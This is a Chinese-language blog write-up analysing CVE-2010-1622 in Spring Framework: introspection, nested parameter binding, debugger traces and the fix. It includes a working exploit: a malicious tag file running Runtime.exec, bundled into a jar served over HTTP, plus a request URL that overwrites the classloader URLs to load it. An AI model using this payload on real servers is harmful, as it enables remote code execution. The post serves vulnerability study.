CVE-2010-1622分析
Flow

分析这个漏洞学习一个内省和Spring参数绑定,后面跟进一个更新的CVE,这个算是打基础。

影响范围

  • Spring Framework
    • >= 2.5.0, <= 2.5.6
    • >= 3.0.0, <= 3.0.2
  • Tomcat
    • < 6.0.28

环境搭建

参考这个链接,不过我没有用docker,直接在本地运行了(注意需要jdk7)

然后也需要准备sp-exp.jar放到一个http服务下,后续访问的时候可以从这里面夹在代码执行。

zip -q -r sp-exp.jar *搞成压缩包

spring-form.tld和InputTag.tag的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd" version="2.0">
<description>Spring Framework JSP Form Tag Library</description>
<tlib-version>3.0</tlib-version>
<short-name>form</short-name>
<uri>http://www.springframework.org/tags/form</uri>
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
<tag-file>
<name>form</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
</taglib>

---
<%@ tag dynamic-attributes="dynattrs" %>
<%
java.lang.Runtime.getRuntime().exec("open -a calculator");
%>

环境运行起来,是用这个代码

然后访问 http://localhost:8080/aaa/test?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/sp-exp.jar!/

即可看到效果

内省和JavaBean

先说一下JavaBean,之前接触fastjson的时候也有看到,是一种特殊的类,这种类的方法主要用于访问私有字段,并且方法名符合某种命名规则,如果两个模块之间传递信息,可以把信息封装进JavaBean,这种JavaBean实例对象称为值对象(value object),bean中一些信息字段和存储方法没有功能性方法,我把JavaBean理解成一种范式,一种规范,当一个类满足这个规范,这个类就能被其他特定的类调用,一个类被当作JavaBean使用时,JavaBean的属性是根据方法名2推断出来的,根本看不到java类内部的成员变量。

内省(Introspector)是Java对JavaBean类属性、时间的一种默认处理方法。其中的propertiesDescriptor实际上来自于对Method的解析。

现在声明一个JavaBean,有一个私有属性id,然后通过getter/setter方法来访问/设置这个属性。Java提供一套API用来访问某个熟悉的getter/setter方法,就是内省。

1
2
3
4
5
 BeanInfo info = Introspector.getBeanInfo(Test.class);
PropertyDescriptor[] properties = info.getPropertyDescriptors();
for (PropertyDescriptor pd : properties) {
System.out.println("Property: " + pd.getName());
}

Java提供了方法可以获得里面的内容

现在有一个Test类,有不同的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Test {
private String id;
private String name;

public String getPass() {
return null;
}


public String getId() {
return id;
}

public void setId(String id) {
this.id = id;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

BeanInfo info = Introspector.getBeanInfo(Test.class);时,输出是

1
2
3
4
Property: class
Property: id
Property: name
Property: pass

注意到没有pass这个属性有getPass方法(getter),也能获取到pass(内省机制认为存在这个属性),而class是对应Object.class

BeanInfo info = Introspector.getBeanInfo(Test.class,Object.class);时,输出是

1
2
3
Property: id
Property: name
Property: pass

getBeanInfo的用法有两种

1
2
BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)

当没有使用stopclass的时候(也就是没有用Object.class的时候)所以java对象都默认继承Object基础类,并且它存在一个getClass()方法,内省机制认为也存在这么一个class属性。

而当 BeanInfo info = Introspector.getBeanInfo(Class.class);时,可以获得很多很多

1
2
3
4
5
6
7
8
9
10
11
12
13
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
。。。

其中就有classLoader

SpringMVC参数绑定

Spring MVC 的“参数绑定”就是把 HTTP 请求里出现的字符串(查询串、表单、JSON、XML、PathVariable、Header……)变成 Java 对象的过程。

无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。

最核心的是这张图

BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。
其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性

比如现在tb有一个spouse属性,也是TestBean

1
2
3
4
TestBean tb = new TestBean(); 
BeanWrapper bw = new BeanWrapperImpl(tb);
bw.setPropertyValue("spouse.name", "tom");
//等价于tb.getSpouse().setName("tom");

有一种递归查找的意思,gemini给了一个更生动的例子:

  1. 解析属性路径 (Property Path Analysis): BeanWrapper 拿到参数名,例如 class.classLoader.URLs[0],它会将其解析为一个嵌套路径。

  2. 递归获取属性 (Nested Navigation): 它必须一层一层地“剥开”对象。

    • 处理 class BeanWrapper 询问 User 类:“你有 class 属性吗?”(通过 BeanInfo 内省)。

      • 回答:“有,我有 getClass() 方法。”
      • 动作:调用 user.getClass(),拿到 Class 对象。
    • 处理 classLoader 切换目标到 Class 对象。询问:“你有 classLoader 属性吗?”

      • 回答:“有,我有 getClassLoader() 方法。”
      • 动作:调用 cls.getClassLoader(),拿到 WebappClassLoader 对象。
    • 处理 URLs[0] 切换目标到 WebappClassLoader。询问:“你有 URLs 属性吗?”

      • 回答:“有,我有 getURLs() 方法。”
  3. 类型转换 (Type Conversion): 假设最后一个属性是 String,而你需要 int,这里会发生转换。但在漏洞场景中,我们需要的是 URL 注入。

  4. 赋值 (Setting Value): 最终,BeanWrapper 调用目标属性的 Setter 方法。然后给变量赋值

变量覆盖

整理一下,理解这个漏洞的原理,简单一句话就是:现在有内省可以获得属性,SpringMVC在此机制基础上支持嵌套属性绑定,有setter方法就可以给变量赋值。

还有一个问题:如果一个类没有setter方法还能被赋值吗?

答案是可以的,这里我直接用漏洞paylaod调试看过程

断点打在这里

然后发送payload http://localhost:8080/aaa/test?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/sp-exp.jar!/

调试到后面 这里会有是否数组的判断,如果是Array绕过了set方法,直接调用底层赋值,除此之外list,map也有类似的处理,所以这三种类型是不需要有setter方法也能赋值的。

目前到这一步的调用栈是

1
2
3
4
5
6
7
setPropertyValue:902, BeanWrapperImpl (org.springframework.beans)
setPropertyValue:857, BeanWrapperImpl (org.springframework.beans)
setPropertyValues:76, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:665, DataBinder (org.springframework.validation)
doBind:561, DataBinder (org.springframework.validation)
doBind:190, WebDataBinder (org.springframework.web.bind)
。。。

过程梳理

前面可能说的有点乱,在我多次调试反复看之后在脑子里终于把内省和spring参数绑定这条链路打通,认为从头说一下

一开始断点在这里

会进入下一个 setPropertyValues()

当前的setPropertyValues()里面,有一个 nestedBw = this.getBeanWrapperForPropertyPath(propertyName);,跟进

这个方法就是SpringMVC参数嵌套绑定的地方,有一个pos的判断,而且这里面有递归调用。

PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath); 这句判断当前的propertyPath是否还有下一层,可以这么通俗地理解。

断点打在if这句判断,可以看到多次pos都不一样,关注当前的变量

BeanWrapperImpl都在变

org.springframework.beans.BeanWrapperImpl: wrapping object [com.example.demo.User@76c9c28b]

org.springframework.beans.BeanWrapperImpl: wrapping object [java.lang.Class@aaaec4e]

**[org.apache.catalina.loader.WebappClassLoader@5864e484]**,知道当前是pos为-1,也就是propertyPath为URLs[0]最后一个时,当前的BeanWrapperImpl变成了WebappClassLoader

然后跳出递归,返回ClassLoader,再回到setPropertyValues()中,nestedBw也就是和ClassLoader相关

而变量是怎么实现 User -> Class -> ClassLoader 的变化的呢? 这就和内省机制有关

1
2
3
4
5
6
7
8
9
10
11
protected BeanWrapperImpl getBeanWrapperForPropertyPath(String propertyPath) {
int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
if (pos > -1) {
String nestedProperty = propertyPath.substring(0, pos);
String nestedPath = propertyPath.substring(pos + 1);
BeanWrapperImpl nestedBw = this.getNestedBeanWrapper(nestedProperty);
return nestedBw.getBeanWrapperForPropertyPath(nestedPath);
} else {
return this;
}
}

BeanWrapperImpl nestedBw = this.getNestedBeanWrapper(nestedProperty); 这句里面跟进,有一个getPropertyValue(token)

然后走走走就会到getBeanInfo 也就是Spring参数绑定借助内省的地方,后面的class,classLoader都会再来到这里,到后面发现有getUrls()方法,其实这部分里面还有涉及反射invoke,强烈建议自己去调试一次就知道过程了。

这部分具体调用栈是:

1
2
3
4
5
6
7
<init>:224, CachedIntrospectionResults (org.springframework.beans)
forClass:145, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:296, BeanWrapperImpl (org.springframework.beans)
getPropertyValue:663, BeanWrapperImpl (org.springframework.beans)
getNestedBeanWrapper:518, BeanWrapperImpl (org.springframework.beans)
getBeanWrapperForPropertyPath:495, BeanWrapperImpl (org.springframework.beans)
setPropertyValue:847, BeanWrapperImpl (org.springframework.beans)

回到前面的获取到nestedBw,后面会再进入一次 nestedBw.setPropertyValue(tokens, pv);

当前的this就是WebappClassLoader ,getterTokens是URLs

这里面 **oldValue = this.getPropertyValue(getterTokens);**,获取到URLs数组

下一步是在 if (oldValue.getClass().isArray()) 这个判断里(目前是,会进入进入if)直接调用底层赋值把我们payload的内容set进去

至此URLs数组的内容就被我们覆盖了(这是后面jsp渲染阶段的截图)

到了后面就和tomcat的jsp渲染机制相关了,首次访问某个jsp会加载,具体的流程就不跟了

后面渲染完之后,test.jsp会到本地

渲染后的test_jsp.java里面有一个doTag()

对应InputTag_tag.java里面的doTag,可以看到恶意代码已经加载进入文件里了

后面每次访问/test都会执行这个命令弹出计算机

至此分析完毕,前面的过程可能有点绕,这里配合一张流程图食用更佳

漏洞修复

这里直接引用别的师傅写的:

https://github.com/spring-projects/spring-framework/compare/v3.0.2.RELEASE..v3.0.3.RELEASE

在通过内省向propertyDescriptorCachePropertyDescriptor时,如果beanClassClass类的话则忽略它的classLoader属性。

这里在JDK9的环境下可以绕过:class.module.classLoader,也就是CVE-2022-22965。

小结

这个漏洞虽然很老但是分析下来还是有收获的,我反复调试了很多次,就是为了理解两个机制是怎么串联起来的。

后来脑子里理解了串联起来了,要用图文写下来还花了好多时间,但是我怕后面忘了

这个过程中我要求自己多思考几个问题。比如昨天晚上注意到递归pos那里有一个getFirstNestedPropertySeparatorIndex获取pos

我问AI:“历史上有没有别的漏洞利用getFirstNestedPropertySeparatorIndex这个解析环节 使用别的字符从而绕过达到某种特定目的的”

答案是很难,巴拉巴拉说了一堆,最后

这也是为什么在 Java 安全审计中,我们通常不关注 Spring 的参数解析层(因为它太稳健了),而是关注参数解析后的绑定目标(DataBinder)是否开放了过于危险的类(如 Class, Module, Context 等)。

还是很有收获的,断断续续写了好几天,接下来也许修改这篇文章补上Spring4Shell,因为两个漏洞差不多就是后面的有了绕过

最近还有其他想复现分析的漏洞,希望自己能多思考抽象出来😭

参考

https://l3yx.github.io/2022/07/21/Spring-Framework-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-CVE-2010-1622

http://rui0.cn/archives/1158

各个AI

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep